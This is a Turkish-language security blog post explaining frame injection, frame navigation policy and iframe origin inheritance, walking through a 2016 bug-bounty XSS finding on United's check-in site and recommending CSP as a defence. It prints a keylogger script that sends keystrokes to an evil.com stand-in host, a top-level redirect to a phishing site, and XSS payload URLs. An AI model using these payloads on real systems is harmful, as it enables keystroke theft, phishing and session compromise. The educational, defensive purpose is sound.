Frame Injection'ı Yeniden Düşünmek

Ziyahan Albeniz - 24 Nisan 2019 -

Frame Injection deyip geçmeyin! Bu yazımızda Frame Injection'ın nelere sebep olabileceğinden ve XSS ile Frame Injection'ın nasıl bir arada kullanabileceğinden bahsettik! Örnek olarak bug bounty programında raporlanan Frame Hijacking olarak adlandırabileceğimiz bir zafiyeti de işledik!

Frame Injection'ı Yeniden Düşünmek

Frame’lerin icadından önce, yani web’in tarih öncesi dediğimiz zamanlarda, bir site sadece bir window nesnesi ile ilişkilendirilebiliyordu. Frame’ler bu paradigmayı değiştirdi.

Frame’lerin HTML yapısına dahil edilmesi, bir frame'in komşu başka bir frame'deki navigasyonu değiştirme ihtiyacını da beraberinde getirdi.

Bir kitabı çevrimiçi okumanız için hazırlanmış bir web sayfasında komşu iki frame hayal edin. Bunlardan biri kitabın içindekiler kısmını gösterirken, buradan tıklanan linklerin diğer frame’de görülmesi istenecektir.

Bunun için çok basit bir düzenleme yeterli. Anchor elemanlarına ve formlara target attribute'ü eklemek ya da Javascript'in window.open metoduna ikinci bir parametre olarak verilen URL'i yükleyeceği name'i yani frame'in adını belirtmek.

90'ların ortalarında web'e kendisi küçük ama insanlık için büyük bir katkı yapılırken risk senaryoları ihmal edilmişti. Tarayıcı tarafından görüntülenen bir sayfa herhangi bir window ya da frame'i dilediği zaman yeni bir hedefe yönlendirebiliyordu.

Bunun doğurabileceği sonuçları anlayabilmek için birkaç saniye soluk alıp düşünmek kafi.

1999 yılında Georgi Guninski riskleri hesap edilmemiş frame navigasyon politikasının nelere mal olacağına dair araştırmasını yayınladı. Guninski'nin keşfi şu idi, Citibank'a ait login sayfası bir iframe içerisinde yüklendiğinde, araştırma yapıldığı esnada tarayıcıların desteklediği frame navigasyon politikasına göre başka bir pencere (window) içerisinde görüntülenen bir site bu frame'in adresini değiştirebilirdi. Bu senaryoya göre Citibank'ın iframe içerisindeki login sayfası, kolaylıkla başka bir siteye, örneğin saldırgan kontrolündeki https://attacker.com 'a yönlendirilebilirdi.

Frame-Navigation

Tangled Web, Michael Zalewski.

2006'da Microsoft Frame Descendant Policy olarak bilinen kural setini geliştirdi ve Internet Explorer 7'ye implemente etti. Bu policy'e göre bir site, kendisi ile aynı origin'i paylaşmayan bir iframe'in adresini ancak iframe'i barındıran site ile aynı origin'e sahip ise değiştirebilecekti. Origin ve Same Origin Policy konusunda Netsparker Türkiye Blogu'nda yayınlanmış araştırmamızı okuyabilirsiniz.

Yani: A1 sitesi B sitesini bir iframe içerisinde yüklüyorsa, A2 sitesi ancak A1 ile aynı origin'i paylaştığı müddetçe B sitesini görüntüleyen frame'in kaynağını değiştirilebilecekti.

Özetle Same Origin Policy, yani farklı originlere ait sitelerin birbirlerinin DOM'larına erişebilmelerini düzenleyen güvenlik politikası, daha icadının ilk günlerinde bile kısıtlı bir görünüm arz ederken; Frame Navigation Policy yani frame’lerin birbirlerinin eriştiği adresleri değiştirebilmelerine imkân veren güvenlik politikası SOP kadar katı değildi.

Frame Injection

Buraya kadar frame'lerin web dünyasındaki kısa tarihine bir göz atmış olduk.

Peki güvenlik açısından Frame’ler ne ifade ediyor?

Bir saldırgan sayfanıza frame enjekte ederse bunun etkisi nedir?

Öncelikle belirtmekte fayda var terminolojide bu saldırıya Frame Injection adı veriliyor.

Frame Injection zafiyetinin impact'i browserların evrimine koşut olarak zamanla değişmiştir. Örneğin ilk zamanlarda yukarıda da sözünü ettiğimiz gibi başka bir sitedeki frame'in adresi değiştirilebiliyorken, ilerleyen zamanlarda Key Stroke Hijacking gibi yöntemlerle klavye hareketleri yakalanabiliyordu:

<!-- http://evil.com/example.com-login.html -->
<head>
<script>
// array of user keystrokes
var keystrokes = [];
// event listener which captures user keystrokes
document.onkeypress = function() {
    keystrokes.push(window.event.keyCode);
}
// function which reports keytrokes back to evil.com every second
setInterval(function() {
    if (keystrokes.length) {
        var xhr = newXHR();
        xhr.open("POST", "http://evil.com/k");
        xhr.send(keystrokes.join("+"));
    }
    keystrokes = [];
}, 1000);
// function which creates an ajax request object
function newXHR() {
    if (window.XMLHttpRequest)
        return new XMLHttpRequest();
    return new ActiveXObject("MSXML2.XMLHTTP.3.0");
}
</script>
</head>
<!-- re-focusing to this frameset tricks browser into leaking events -->
<frameset onload="this.focus()" onblur="this.focus()">
<!-- frame which embeds example.com login page -->
<frame src="http://example.com/login.html">
</frameset> 

Kaynak: https://www.owasp.org/index.php/Cross_Frame_Scripting

Bugünkü modern tarayıcılarda Frame Injection zafiyetinin en büyük etkisi enjekte edildiği sayfanın kendisini başka bir URL'e redirect edebilmesi. Yani top level navigation'a sebep olması.

Şayet Iframe element'ini doğrudan payload olarak kullanabiliyorsanız muhtemelen XSS payload'u da enjekte edebilirsiniz.

Dolayısıyla yeni nesil ödül avcılarının Frame Injection'a burun kıvırdığına şahit olabilirsiniz. "Zaten XSS payload'u enjekte ediyorum, ne gerek var" diyebilirler.

Frame Injection'ın bir başka boyutu da aslında Frame Hijacking olarak geçen hedef sitedeki bir iframe elemanının yalnızca “src” attribute'ünü kontrol edebileceğiniz kısıtlı hareket alanıdır. Bu yukarıda sözünü ettiğimiz Top Level Navigation etkisini oluşturan yöntemdir. Bu yöntemde <,>," gibi kara listeye alınması muhtemel karakterlere ihtiyaç duymadan, sadece bir URL enjekte ederek sonuca ulaşabilirsiniz.

<iframe src="YOUR_ATTACK_PAYLOAD"></iframe>

YOUR_ATTACK_PAYLOAD= http://www.attacker.com/maliciousscript.html

maliciousscript.html
	<script>
top.location.href="http://www.attackerphishingsite.com";
           </script>
 

Fakat bunu Frame Injection yerine Frame SRC Hijacking olarak yahut kısaca Frame Hijacking olarak anmayı daha isabetli buluyorum. Frame Injection'ın Top Level Navigation etkisinin Chrome 64 ile birlikte tarihin tozlu raflarına kaldırılacağının haberini Haftanın Hackleri'nin başka bir sayısında vermiştik. Dolayısıyla yazının bu noktadan sonraki bölümüne ayrıca dikkat kesilmelisiniz.

Şimdi ödül avcısı arkadaşların XSS gördüler mi Frame Injection'a burun kıvırmalarının, bu senaryoyu akılda tutmamalarının nasıl büyük fırsatları ıskalamak demek olacağını bir örnek üzerinden, hem de yaşanmış bir örnek üzerinden anlatacağız.

Bu canlı örneğin kahramanı bir dönem Netsparker'da iştirak-i mesai yaptığımız sevgili dostumuz Mustafa Hasan (strukt93).

Mustafa Hasan'ın bu bug disclosure'ı görece eski bir tarihe, 2016 yılına ait olsa da bu ilham verici tekniği blogumuzda yeniden gündeme getirerek daha fazla kişiye ulaşmasını arzu ettik.

Ucuz uçak bileti ararken, United'ın bir bug bounty programı olduğunu hatırlayan Mustafa Hasan bu dakikadan sonra okurların pek çoğuna tanıdık gelecek olan obsesyona müptela olur: Bulduğu tüm girdi noktalarında payload deneyip, çıktıları kontrol etmek. Biri uçak bileti mi demişti?

Araştırmalarını sürdüren Mustafa, United'a ait bir subdomain ile karşılaşır: http://checkin.united.com/

Bu subdomain'e istek yaptığında aynı domain üzerindeki başka bir sayfaya yönlendirildiğini, yönlendirilme esnasında da “SID” parametresinin query string olarak gönderildiğini tespit eder.

“SID” parametresi sayfada 60 farklı yere yansımaktadır.

Yansıdığı noktalardan hiçbirinde girdinin zararlı karakterlere karşı yeterli derecede temizlenmediğini farkeder.

"><svg onload=confirm(1)> payload'unu kullanan Mustafa Hasan, HTML output'unda payload'ın beklediği şekilde yansıdığını görmektedir. Fakat confirm fonksiyonunun çağrımı sonucu beklediği confirmation kutusu gözükmemektedir. Bu işte bir gariplik vardır…

Reflections

Javascript kodunu didikleyen Mustafa Hasan payload'ının neden çalışmadığını anlar. Zira sitede rastladığı kod bloğu alert, confirm, prompt, unescape, write, fromCharCode gibi native fonksiyonları override etmektedir.

Troublesome JS Code

Mustafa Hasan fonksiyonlara atanmış closerları silen “delete” isimli fonksiyonu kullanarak, override edilmiş fonksiyonları orjinal hallerine döndüreceğini düşünür:

<script>delete prompt;prompt(1)</script>

Fakat delete komutunun kendisi de override edilmiştir.

Mustafa Hasan'ın aklına şöyle bir yöntem gelir. Şayet “src” attribute'ü boş olan bir iframe'i dökümana eklenirse, dökümanın override edilmiş tüm fonksiyonları bu boş iframe'in window nesnesindeki fonksiyon karşılıkları ile yeniden set ederek, orjinal hallerine döndürülebilir.

Kulağa hoş geliyor.

http://checkin.united.com/travel/checkin/start.aspx?SID=<iframe></iframe><body onpageshow=top['locatio'+'n']=top['locatio'+'n'].hash.slice(1)>#javascript:var iframe=document.getElementsByTagName("iframe")[0];window.alert=iframe.contentWindow.alert;alert(document.domain);

Oldukça uzun bir payload…

Neyse ki Mustafa Hasan, brutelogic'in yardımı ile payload'u biraz daha kısaltıyor:

http://checkin.united.com/travel/checkin/start.aspx?SID=";}{document.writeIn(decodeURI(location.hash))-"#<iframe src='javascript:top.window.alert = this.alert;alert(document.domain)'

Mustafa'nın ısrarı takdire şayan. Doğru bir noktaya temas ediyor fakat gözden kaçırdığı önemli bir nokta var. Bu noktanın tamamlanması ile bu kadar zahmete gerek kalmaksızın çalıştırması mümkün olacaktı: Origin Inheritance

Origin Inheritance

İstemci tarafında oluşturulan içerikleri bir web sayfasında görüntülemek istediğinizi varsayın,  örneğin Javascript o anda kullanıcının girdileri ile bir dizi hesaplama yapıp, bir çıktı ürettiğinizi. Bunu bir web sayfası olarak görüntüleyip, yazıcıdan çıktı alınacak formatta görüntülemek istiyorsunuz. Tüm bu işlemler istemci tarafında olacağı için sunucuya istek yapma zahmetine ne kendinizi ne de tarayıcıyı sokmak istiyorsunuz.

about:, javascript:, data: gibi pseudo protokolleri kullanarak boş bir DOM'a sahip web sayfaları oluşturabilmek mümkün. Örneğin window.open("about:blank") çağrımını yaptığınızda yahut tarayıcınızın adres çubuğuna about:blank yazıp enter'a bastığınızda tarayıcınız boş bir DOM üretecek.

Pseudo protokolleri kullanarak bu sayfaları oluşturmanın çeşitli yolları var, window.open fonksiyonu ile olduğu gibi iframe'in “src” attribute'üne, image elemanının src attribute'üne vb elemanların ilgili attributelerine bu pseudo protokolleri atayarak böylesi bir sayfa oluşturabilirsiniz.

Örneğin

<html>
<body>
<iframe src="javascript:alert(document.domain)"></iframe>
</body>
</html>

Yukarıdaki gibi bir kod ile iframe attribute'ü boş bir DOM hazırlayacak. Üstelik bu DOM'un document.domain değeri, yani origin'i de parent domain'den kalıtım ile alınacak.

Mustafa Hasan'ın koca bir payload ile yapmaya çalıştığı iş aslında tarayıcıların origin inheritance kurallarından hareketle, basit bir iframe injection ile çözülebilirdi:

<iframe src="javascript:alert(document.domain"></iframe>

Yukarıdaki payload override edilmiş fonksiyonların olmadığı yeni bir DOM nesnesi oluşturdu. Üstelik bu oluşturulan kaynağın origin değeri, bu iframe'i yükleyen hedef site ile aynı. Yani SOP kurallarına uygun olarak aynı origin'e sahip oldukları için hedef sitenin tüm DOM kaynaklarına erişebilecek.

Tüm majör tarayıcılarda javascript: pseudo protokolünün iframe ile çağrılması origin değerini parent dökümandan miras alacaktır.

Test edilen tarayıcılar: Firefox 66.0.3 (64 bit), Chrome  73.0.3683.103, Internet Explorer 11 ve Microsoft Edge 44.17763.1.0

Mustafa Hasan'ın araştırmasına ulaşmak için lütfen tıklayınız.

Derde Deva CSP

Haftanın Hackleri serimizde neredeyse her fırsatta dile getirdiğimiz, istemci taraflı güvenliğin İsviçre Çakısı Content-Security-Policy header’ı burada da imdadımıza yetişiyor.

Malumunuz CSP'nin script-src direktifi hali hazırda XSS'in pek çok durumda köküne kibrit suyu dökerken, sayfanıza enjekte edilmesi muhtemelen frame’lerin de önünü almak isterseniz yine CSP'nin frame-src yahut child-src direktiflerini kullanarak, sayfanızda yüklenecek iframe’lerin kaynaklarını whitelist edebilir ya da 'none' direktifi ile hiçbir iframe çağrısının müsade edilmemesini sağlayabilirsiniz.

Content-Security-Policy konusunda Netsparker Türkiye Blogu'nda yayınladığımız ayrıntılı bir araştırmaya ulaşmak isterseniz lütfen tıklayınız.